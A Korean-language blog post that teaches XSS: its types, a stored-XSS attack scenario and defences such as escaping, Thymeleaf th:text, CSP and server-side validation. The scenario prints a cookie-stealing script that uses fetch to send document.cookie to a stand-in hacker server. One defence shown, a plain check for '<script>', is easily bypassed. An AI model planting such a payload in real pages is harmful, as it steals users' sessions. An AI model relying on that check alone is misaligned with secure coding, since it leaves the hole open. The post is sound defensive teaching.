What we have to do is to be forever curiously
testing new opinions and courting new impressions

우리가 해야 할 일은 끊임없이 호기심을 갖고
새로운 생각을 시험해보고 새로운 인상을 받는 것

✈️ XSS(Cross-Site Scripting) 공격이란

🎯 개요

공격자가 웹사이트에 악성 스크립트(JavaScript)를 심어두는 공격 다른 사용자가 그 페이지를 열면 악성 스크립트가 실행되어 쿠키 탈취, 계정 도용 등 심각한 피해 발생 가능

📋 목록

  • XSS란?
  • 선물 상자 비유로 이해하기
  • XSS 공격의 종류
  • 실제 공격 시나리오
  • XSS로 할 수 있는 악성 행위
  • 방어 방법

✏️ 알아야 할 내용

  • Postman으로 서버에 직접 요청을 보낼 수 있음
  • 그래서 서버에서 반드시 검증해야 함
  • XSS도 서버 검증이 없으면 발생하는 문제

✏️ XSS란?

  • Cross-Site Scripting의 약자
  • CSS와 헷갈려서 XSS라고 부름
  • 공격자가 웹사이트에 악성 스크립트(JavaScript)를 심어두는 공격
  • 다른 사용자가 그 페이지를 열면 악성 스크립트가 실행됨

✏️ 선물 상자 비유로 이해하기

상황 설정

게시판이 있는 커뮤니티 사이트를 운영 중이라고 가정

정상적인 게시글

“오늘 날씨가 좋네요”

그냥 텍스트가 보임 아무 문제 없음

악성 게시글 (XSS 공격)

“오늘 날씨가 좋네요 <script>악성코드</script>

겉으로는 평범한 게시글처럼 보임 하지만 누군가 이 글을 열면 숨겨진 스크립트가 실행됨

비유로 설명

  • 정상 게시글 = 일반 선물 상자
  • XSS 게시글 = 선물 상자인 척하는 폭탄
  • 열어보는 사람(피해자)이 당함
  • 게시글을 올린 공격자는 멀리서 지켜보기만 함

✏️ XSS 공격의 종류

종류 설명 예시
Stored XSS 악성 스크립트가 서버 DB에 저장됨 게시글, 댓글, 프로필에 스크립트 삽입
Reflected XSS URL 파라미터에 스크립트를 넣어서 전달 검색어에 스크립트 삽입 후 링크 공유
DOM-based XSS 브라우저에서 JavaScript로 처리할 때 발생 클라이언트 측 스크립트 취약점

💡특이사항

초보 개발자가 가장 자주 마주치는 건 Stored XSS 게시판, 댓글 기능 만들 때 주의해야 함


✏️ 실제 공격 시나리오

1단계: 공격자가 게시글 작성

<script>
  fetch('https://해커서버.com/steal?cookie=' + document.cookie);
</script>

이 스크립트는 페이지를 여는 사람의 쿠키(로그인 정보)를 해커 서버로 전송함

2단계: 서버가 그대로 저장

서버에 검증 코드가 없으면 이 스크립트가 DB에 그대로 저장됨

3단계: 다른 사용자가 게시글 열람

철수가 이 게시글을 열면

  • 브라우저가 스크립트를 실행함
  • 철수의 쿠키가 해커 서버로 전송됨
  • 해커가 철수의 계정을 탈취함

결과

  • 철수는 그냥 게시글을 읽었을 뿐
  • 하지만 로그인 정보가 탈취됨
  • 공격자가 철수인 척 활동 가능

✏️ XSS로 할 수 있는 악성 행위

  • 로그인 세션(쿠키) 탈취
  • 가짜 로그인 폼을 띄워서 비밀번호 수집
  • 사용자 몰래 글 작성, 삭제, 수정
  • 다른 사이트로 강제 이동
  • 키보드 입력 감시
  • 악성코드 다운로드 유도

🔄 직접 API 공격과 비교

구분 직접 API 공격 XSS 공격
공격 대상 서버 다른 사용자
공격 방식 직접 API 요청 악성 스크립트 삽입
피해자 서버/서비스 게시글을 열어본 사용자
방어 위치 서버에서 권한 검증 서버에서 입력값 검증/이스케이프

💡특이사항

둘 다 결국 서버에서 검증해야 막을 수 있음


✏️ 방어 방법

1. 입력값 이스케이프 처리

사용자가 입력한 특수문자를 변환해서 저장

< → &lt;
> → &gt;
" → &quot;
' → &#x27;

변환 후 결과

&lt;script&gt;악성코드&lt;/script&gt;

이렇게 저장하면 브라우저가 스크립트로 인식하지 않음 그냥 텍스트로 보여줌

2. Spring Boot에서의 처리

Thymeleaf 템플릿 엔진 사용 시 기본적으로 이스케이프 처리됨

<!-- 자동 이스케이프 (안전) -->
<p th:text="${content}"></p>

<!-- 이스케이프 안 함 (위험) -->
<p th:utext="${content}"></p>

💡특이사항

th:utext는 HTML을 그대로 출력하므로 XSS에 취약함 꼭 필요한 경우가 아니면 사용하지 말 것

3. 입력값 검증

애초에 스크립트 태그가 들어오지 못하게 막음

if (content.contains("<script>")) {
    throw new IllegalArgumentException("허용되지 않는 입력");
}

4. Content Security Policy (CSP) 헤더

브라우저에게 “이 페이지에서는 인라인 스크립트 실행 금지”라고 알려줌

Content-Security-Policy: script-src 'self'

✏️ 검증 위치별 비교

검증 위치 역할 한계
프론트엔드 사용자 실수 방지 Postman으로 우회 가능
백엔드 실제 보안 반드시 필요
DB 저장 전 악성 데이터 차단 이스케이프 처리 필수
출력 시 이스케이프 처리 템플릿 엔진 설정 확인

💡 요약

  1. XSS는 공격자가 웹사이트에 악성 스크립트를 심는 공격
  2. 다른 사용자가 해당 페이지를 열면 스크립트가 실행됨
  3. 쿠키 탈취, 계정 도용 등 심각한 피해 발생 가능
  4. 서버에서 입력값을 검증하고 이스케이프 처리해야 방어 가능
  5. 프론트엔드 검증만으로는 절대 막을 수 없음

게시판 만들 때 “누가 스크립트를 넣겠어?”라고 생각하지 말 것 인터넷에는 항상 그런 사람이 있음

태그:

카테고리:

업데이트:

댓글남기기